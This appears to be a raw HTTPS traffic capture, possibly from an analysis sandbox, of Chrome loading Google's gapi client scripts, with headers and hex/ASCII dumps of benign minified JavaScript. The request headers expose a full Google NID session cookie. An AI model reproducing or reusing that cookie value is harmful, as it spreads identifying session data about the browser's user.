2024-12-18 16:17:16 UTC	670	OUT	GET /js/client.js?onload=gapiLoaded HTTP/1.1 Host: apis.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Accept: / X-Client-Data: CIS2yQEIpbbJAQipncoBCIb0ygEIkqHLAQiFoM0BCPzQzgEInNLOAQiO084BCNbUzgEY9MnNAQ== Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: NID=520=czl6nQNz_zavgWVtxVEpZjJFSLVkoEqxTBlzmWOTuM3UiBf49GZmcdxK1-K4sCXpup5_0_--oGVh2kKMfP2EnNepIvJnoBAXZhoPgK-15UOnARFi4esxdc_JaRltUtVS2yAUQhLeWdxBRgwzjCL8n_Dg49HfTIuKpWxF1WmSrGvq9YngXXZRg5Nb
2024-12-18 16:17:17 UTC	837	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Vary: Accept-Encoding Content-Type: text/javascript Access-Control-Allow-Origin: * Content-Security-Policy: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/gapi-team Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="gapi-team" Report-To: {"group":"gapi-team","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gapi-team"}]} Timing-Allow-Origin: * Content-Length: 14461 Date: Wed, 18 Dec 2024 16:17:16 GMT Expires: Wed, 18 Dec 2024 16:17:16 GMT Cache-Control: private, max-age=1800, stale-while-revalidate=1800 ETag: "da287f7ab1476565" X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-18 16:17:17 UTC	553	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 2c 62 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e Data Ascii: (function(){var aa=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ba=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof win
2024-12-18 16:17:17 UTC	1390	IN	Data Raw: 62 72 65 61 6b 20 61 3b 63 3d 63 5b 65 5d 7d 61 3d 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 3b 64 3d 63 5b 61 5d 3b 62 3d 62 28 64 29 3b 62 21 3d 64 26 26 62 21 3d 6e 75 6c 6c 26 26 61 61 28 63 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 62 7d 29 7d 7d 2c 68 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 27 74 68 69 73 27 20 76 61 6c 75 65 20 66 6f 72 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 6e 75 6c 6c 20 6f 72 20 75 6e 64 65 66 69 6e 65 64 22 29 3b 69 66 28 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 Data Ascii: break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&aa(c,a,{configurable:!0,writable:!0,value:b})}},h=function(a,b,c){if(a==null)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegEx
2024-12-18 16:17:17 UTC	1390	IN	Data Raw: 72 72 6f 72 28 22 42 61 64 20 73 65 63 72 65 74 22 29 3b 74 68 69 73 2e 6c 3d 61 7d 3b 79 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6c 7d 3b 6e 65 77 20 79 28 22 61 62 6f 75 74 3a 62 6c 61 6e 6b 22 29 3b 6e 65 77 20 79 28 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 22 29 3b 76 61 72 20 41 3d 5b 5d 2c 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 41 20 55 52 4c 20 77 69 74 68 20 63 6f 6e 74 65 6e 74 20 27 22 2b 61 2b 22 27 20 77 61 73 20 73 61 6e 69 74 69 7a 65 64 20 61 77 61 79 2e 22 29 7d 3b 41 2e 69 6e 64 65 78 4f 66 28 44 29 3d 3d 3d 2d 31 26 26 41 2e 70 75 73 68 28 44 29 3b 2f 2a 0a 20 67 61 70 69 2e Data Ascii: rror("Bad secret");this.l=a};y.prototype.toString=function(){return this.l};new y("about:blank");new y("about:invalid#zClosurez");var A=[],D=function(a){console.warn("A URL with content '"+a+"' was sanitized away.")};A.indexOf(D)===-1&&A.push(D);/* gapi.
2024-12-18 16:17:17 UTC	1390	IN	Data Raw: 6b 61 2c 22 5f 70 22 2c 49 28 29 29 2c 48 28 62 2c 63 2c 49 28 29 29 5b 61 5d 3d 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 2c 52 28 61 2c 22 5f 70 22 2c 63 29 29 7d 2c 6d 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 6a 6f 69 6e 28 22 5f 5f 22 29 2e 72 65 70 6c 61 63 65 28 2f 5c 2e 2f 67 2c 22 5f 22 29 2e 72 65 70 6c 61 63 65 28 2f 5c 2d 2f 67 2c 22 5f 22 29 2e 72 65 70 6c 61 63 65 28 2f 2c 2f 67 2c 22 5f 22 29 7d 3b 76 61 72 20 6e 61 3d 49 28 29 2c 55 3d 5b 5d 2c 56 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 42 61 64 20 68 69 6e 74 3a 20 22 2b 61 29 3b 7d 3b 55 2e 70 75 73 68 28 5b 22 6a 73 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 62 20 69 6e 20 61 29 Data Ascii: ka,"_p",I()),H(b,c,I())[a]=(new Date).getTime(),R(a,"_p",c))},ma=function(a){return a.join("__").replace(/\./g,"_").replace(/\-/g,"_").replace(/,/g,"_")};var na=I(),U=[],V=function(a){throw Error("Bad hint: "+a);};U.push(["jsl",function(a){for(var b in a)
2024-12-18 16:17:17 UTC	1390	IN	Data Raw: 2e 72 65 70 6c 61 63 65 28 2f 25 32 43 2f 67 2c 22 2c 22 29 7d 3b 72 65 74 75 72 6e 5b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 2e 70 61 74 68 50 72 65 66 69 78 29 2e 72 65 70 6c 61 63 65 28 2f 25 32 43 2f 67 2c 0a 22 2c 22 29 2e 72 65 70 6c 61 63 65 28 2f 25 32 46 2f 67 2c 22 2f 22 29 2c 22 2f 6b 3d 22 2c 65 28 61 2e 76 65 72 73 69 6f 6e 29 2c 22 2f 6d 3d 22 2c 65 28 62 29 2c 64 3f 22 2f 65 78 6d 3d 22 2b 65 28 64 29 3a 22 22 2c 22 2f 72 74 3d 6a 2f 73 76 3d 31 2f 64 3d 31 2f 65 64 3d 31 22 2c 61 2e 67 3f 22 2f 61 6d 3d 22 2b 65 28 61 2e 67 29 3a 22 22 2c 61 2e 69 3f 22 2f 72 73 3d 22 2b 65 28 61 2e 69 29 3a 22 22 2c 61 2e 6a 3f 22 2f 74 3d 22 2b 65 28 61 2e 6a 29 3a 22 22 2c 22 2f 63 62 3d 22 2c 65 28 63 29 5d 2e 6a 6f 69 6e 28 22 22 Data Ascii: .replace(/%2C/g,",")};return[encodeURIComponent(a.pathPrefix).replace(/%2C/g,",").replace(/%2F/g,"/"),"/k=",e(a.version),"/m=",e(b),d?"/exm="+e(d):"","/rt=j/sv=1/d=1/ed=1",a.g?"/am="+e(a.g):"",a.i?"/rs="+e(a.i):"",a.j?"/t="+e(a.j):"","/cb=",e(c)].join(""
2024-12-18 16:17:17 UTC	1390	IN	Data Raw: 61 2e 6c 65 6e 67 74 68 3b 2b 2b 64 29 7b 76 61 72 20 65 3d 61 5b 64 5d 2c 66 3b 69 66 28 66 3d 65 29 7b 61 3a 7b 66 6f 72 28 66 3d 30 3b 66 3c 62 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 69 66 28 62 5b 66 5d 3d 3d 3d 65 29 62 72 65 61 6b 20 61 3b 66 3d 2d 31 7d 66 3d 66 3c 30 7d 66 26 26 63 2e 70 75 73 68 28 65 29 7d 72 65 74 75 72 6e 20 63 7d 2c 43 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 4d 2e 6e 6f 6e 63 65 3b 72 65 74 75 72 6e 20 61 21 3d 3d 76 6f 69 64 20 30 3f 61 26 26 61 3d 3d 3d 53 74 72 69 6e 67 28 61 29 26 26 61 2e 6d 61 74 63 68 28 41 61 29 3f 61 3a 4d 2e 6e 6f 6e 63 65 3d 6e 75 6c 6c 3a 46 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 3f 28 61 3d 46 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 73 63 72 69 70 74 5b 6e 6f 6e 63 65 5d Data Ascii: a.length;++d){var e=a[d],f;if(f=e){a:{for(f=0;f<b.length;f++)if(b[f]===e)break a;f=-1}f=f<0}f&&c.push(e)}return c},Ca=function(){var a=M.nonce;return a!==void 0?a&&a===String(a)&&a.match(Aa)?a:M.nonce=null:F.querySelector?(a=F.querySelector("script[nonce]
2024-12-18 16:17:17 UTC	1390	IN	Data Raw: 22 54 69 6d 65 6f 75 74 20 72 65 71 75 69 72 65 73 20 62 6f 74 68 20 74 68 65 20 74 69 6d 65 6f 75 74 20 70 61 72 61 6d 65 74 65 72 20 61 6e 64 20 6f 6e 74 69 6d 65 6f 75 74 20 70 61 72 61 6d 65 74 65 72 20 74 6f 20 62 65 20 73 65 74 22 3b 0a 6c 3d 48 28 4f 28 63 29 2c 22 72 22 2c 5b 5d 29 2e 73 6f 72 74 28 29 3b 76 61 72 20 47 3d 48 28 4f 28 63 29 2c 22 4c 22 2c 5b 5d 29 2e 73 6f 72 74 28 29 2c 4d 61 3d 4d 2e 6c 65 7c 7c 5b 5d 2c 4b 3d 5b 5d 2e 63 6f 6e 63 61 74 28 6c 29 2c 6c 61 3d 66 75 6e 63 74 69 6f 6e 28 77 2c 42 29 7b 69 66 28 7a 29 72 65 74 75 72 6e 20 30 3b 45 2e 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 71 29 3b 47 2e 70 75 73 68 2e 61 70 70 6c 79 28 47 2c 72 29 3b 76 61 72 20 43 3d 28 28 4a 7c 7c 7b 7d 29 2e 63 6f 6e 66 69 67 7c 7c 7b 7d 29 2e 75 Data Ascii: "Timeout requires both the timeout parameter and ontimeout parameter to be set";l=H(O(c),"r",[]).sort();var G=H(O(c),"L",[]).sort(),Ma=M.le\|\|[],K=[].concat(l),la=function(w,B){if(z)return 0;E.clearTimeout(q);G.push.apply(G,r);var C=((J\|\|{}).config\|\|{}).u
2024-12-18 16:17:17 UTC	1390	IN	Data Raw: 62 21 3d 3d 22 22 7c 7c 21 61 2e 65 6e 64 73 57 69 74 68 28 22 2e 6a 73 22 29 7c 7c 28 61 3d 61 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 61 2e 6c 65 6e 67 74 68 2d 33 29 2c 62 3d 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 22 2f 22 29 2b 31 2c 62 3e 3d 61 2e 6c 65 6e 67 74 68 7c 7c 28 61 3d 61 2e 73 75 62 73 74 72 28 62 29 2e 73 70 6c 69 74 28 22 3a 22 29 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 21 5b 22 61 70 69 22 2c 22 70 6c 61 74 66 6f 72 6d 22 5d 2e 69 6e 63 6c 75 64 65 73 28 64 29 7d 29 2c 63 2e 66 65 61 74 75 72 65 73 3d 61 29 29 7d 5d 29 3b 51 2e 62 73 30 3d 77 69 6e 64 6f 77 2e 67 61 70 69 2e 5f 62 73 7c 7c 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 3b 52 28 22 62 73 30 22 29 3b 51 2e 62 73 31 3d Data Ascii: b!==""\|\|!a.endsWith(".js")\|\|(a=a.substring(0,a.length-3),b=a.lastIndexOf("/")+1,b>=a.length\|\|(a=a.substr(b).split(":").filter(function(d){return!["api","platform"].includes(d)}),c.features=a))}]);Q.bs0=window.gapi._bs\|\|(new Date).getTime();R("bs0");Q.bs1=
2024-12-18 16:17:17 UTC	1390	IN	Data Raw: 69 78 3a 3a 73 65 3a 5f 2f 77 69 64 67 65 74 2f 70 6c 75 73 2f 63 69 72 63 6c 65 3f 75 73 65 67 61 70 69 3d 31 22 7d 2c 0a 70 6c 75 73 5f 73 68 61 72 65 3a 7b 70 61 72 61 6d 73 3a 7b 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f 2f 2b 31 2f 73 68 61 72 65 62 75 74 74 6f 6e 3f 70 6c 75 73 53 68 61 72 65 3d 74 72 75 65 26 75 73 65 67 61 70 69 3d 31 22 7d 2c 72 62 72 5f 73 3a 7b 70 61 72 61 6d 73 3a 7b 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 72 65 63 6f 62 61 72 73 69 6d 70 6c 65 73 63 72 6f 6c 6c 65 72 22 7d 2c 22 3a 73 Data Ascii: ix::se:_/widget/plus/circle?usegapi=1"},plus_share:{params:{url:""},url:":socialhost:/:session_prefix::se:_/+1/sharebutton?plusShare=true&usegapi=1"},rbr_s:{params:{url:""},url:":socialhost:/:session_prefix::se:_/widget/render/recobarsimplescroller"},":s
2024-12-18 16:17:17 UTC	1390	IN	Data Raw: 61 6d 73 3a 7b 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 72 65 63 6f 62 61 72 69 6e 76 69 74 61 74 69 6f 6e 22 7d 2c 73 68 61 72 65 3a 7b 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 69 6d 5f 70 72 65 66 69 78 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 73 68 61 72 65 3f 75 73 65 67 61 70 69 3d 31 22 7d 2c 70 6c 75 73 6f 6e 65 3a 7b 70 61 72 61 6d 73 3a 7b 63 6f 75 6e 74 3a 22 22 2c 0a 73 69 7a 65 3a 22 22 2c 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f Data Ascii: ams:{url:""},url:":socialhost:/:session_prefix::se:_/widget/render/recobarinvitation"},share:{url:":socialhost:/:session_prefix::im_prefix:_/widget/render/share?usegapi=1"},plusone:{params:{count:"",size:"",url:""},url:":socialhost:/:session_prefix::se:_

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:17:18 UTC	994	OUT	GET /_/scs/abc-static/_/js/k=gapi.lb.en.eXGUr_3hPjA.O/m=client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo-g8reFxkIuQ1pTpW4rHM0-Devz-A/cb=gapi.loaded_0?le=scs HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24" sec-ch-ua-mobile: ?0 Accept: / X-Client-Data: CIS2yQEIpbbJAQipncoBCIb0ygEIkqHLAQiFoM0BCLKezgEI/aXOAQjsvM4BCMfPzgEI/NDOAQic0s4BCI7TzgEIs9POAQjW1M4BCOzVzgEY9MnNAQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://sites.google.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: NID=520=czl6nQNz_zavgWVtxVEpZjJFSLVkoEqxTBlzmWOTuM3UiBf49GZmcdxK1-K4sCXpup5_0_--oGVh2kKMfP2EnNepIvJnoBAXZhoPgK-15UOnARFi4esxdc_JaRltUtVS2yAUQhLeWdxBRgwzjCL8n_Dg49HfTIuKpWxF1WmSrGvq9YngXXZRg5Nb
2024-12-18 16:17:18 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 322644 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 13 Dec 2024 04:18:30 GMT Expires: Sat, 13 Dec 2025 04:18:30 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 02 Dec 2024 19:38:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 475128 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-18 16:17:18 UTC	474	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 5d 29 3b 0a 76 61 72 20 63 61 2c 64 61 2c 68 61 2c 6d 61 2c 78 61 2c 41 61 2c 42 61 3b 63 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([]);var ca,da,ha,ma,xa,Aa,Ba;ca=function(a){var
2024-12-18 16:17:18 UTC	1390	IN	Data Raw: 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 72 72 6f 72 28 22 61 22 29 3b 7d 3b Data Ascii: alue;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};
2024-12-18 16:17:18 UTC	1390	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 3d 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 62 7d 2c 71 61 3b 69 66 28 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 71 61 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 65 6c 73 65 7b 76 61 72 20 72 61 3b 61 3a 7b 76 61 72 20 73 61 3d 7b 61 3a 21 30 7d 2c 77 61 3d 7b 7d 3b 74 72 79 7b 77 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 73 61 3b 72 61 3d 77 61 2e 61 3b 62 72 65 61 6b 20 61 7d 63 61 74 63 68 28 61 29 7b 7d 72 61 3d 21 31 7d 71 61 3d 72 61 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 62 3b 69 66 28 Data Ascii: function(a){var b=function(){};b.prototype=a;return new b},qa;if(typeof Object.setPrototypeOf=="function")qa=Object.setPrototypeOf;else{var ra;a:{var sa={a:!0},wa={};try{wa.__proto__=sa;ra=wa.a;break a}catch(a){}ra=!1}qa=ra?function(a,b){a.__proto__=b;if(
2024-12-18 16:17:18 UTC	1390	IN	Data Raw: 7b 66 6f 72 28 3b 74 68 69 73 2e 46 66 26 26 74 68 69 73 2e 46 66 2e 6c 65 6e 67 74 68 3b 29 7b 76 61 72 20 68 3d 74 68 69 73 2e 46 66 3b 74 68 69 73 2e 46 66 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 6b 3d 30 3b 6b 3c 68 2e 6c 65 6e 67 74 68 3b 2b 2b 6b 29 7b 76 61 72 20 6c 3d 68 5b 6b 5d 3b 68 5b 6b 5d 3d 6e 75 6c 6c 3b 74 72 79 7b 6c 28 29 7d 63 61 74 63 68 28 6d 29 7b 74 68 69 73 2e 6d 71 28 6d 29 7d 7d 7d 74 68 69 73 2e 46 66 3d 6e 75 6c 6c 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 71 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 7a 50 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 68 3b 0a 7d 29 7d 3b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 45 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 Data Ascii: {for(;this.Ff&&this.Ff.length;){var h=this.Ff;this.Ff=[];for(var k=0;k<h.length;++k){var l=h[k];h[k]=null;try{l()}catch(m){this.mq(m)}}}this.Ff=null};b.prototype.mq=function(h){this.zP(function(){throw h;})};var e=function(h){this.Ea=0;this.wf=void 0;thi
2024-12-18 16:17:18 UTC	1390	IN	Data Raw: 68 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 7b 63 61 6e 63 65 6c 61 62 6c 65 3a 21 30 7d 29 3a 74 79 70 65 6f 66 20 6b 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 68 3d 6e 65 77 20 6b 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 7b 63 61 6e 63 65 6c 61 62 6c 65 3a 21 30 7d 29 3a 28 68 3d 5f 2e 6c 61 2e 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 43 75 73 74 6f 6d 45 76 65 6e 74 22 29 2c 68 2e 69 6e 69 74 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 21 31 2c 21 30 2c 68 29 29 3b 68 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 Data Ascii: h("unhandledrejection",{cancelable:!0}):typeof k==="function"?h=new k("unhandledrejection",{cancelable:!0}):(h=_.la.document.createEvent("CustomEvent"),h.initCustomEvent("unhandledrejection",!1,!0,h));h.promise=this;h.reason=this.wf;return l(h)};e.prototy
2024-12-18 16:17:18 UTC	1390	IN	Data Raw: 64 6f 6e 65 29 7d 29 7d 3b 72 65 74 75 72 6e 20 65 7d 29 3b 76 61 72 20 43 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 27 74 68 69 73 27 20 76 61 6c 75 65 20 66 6f 72 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 6e 75 6c 6c 20 6f 72 20 75 6e 64 65 66 69 6e 65 64 22 29 3b 69 66 28 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c Data Ascii: done)})};return e});var Ca=function(a,b,c){if(a==null)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype."+c+" must not be a regul
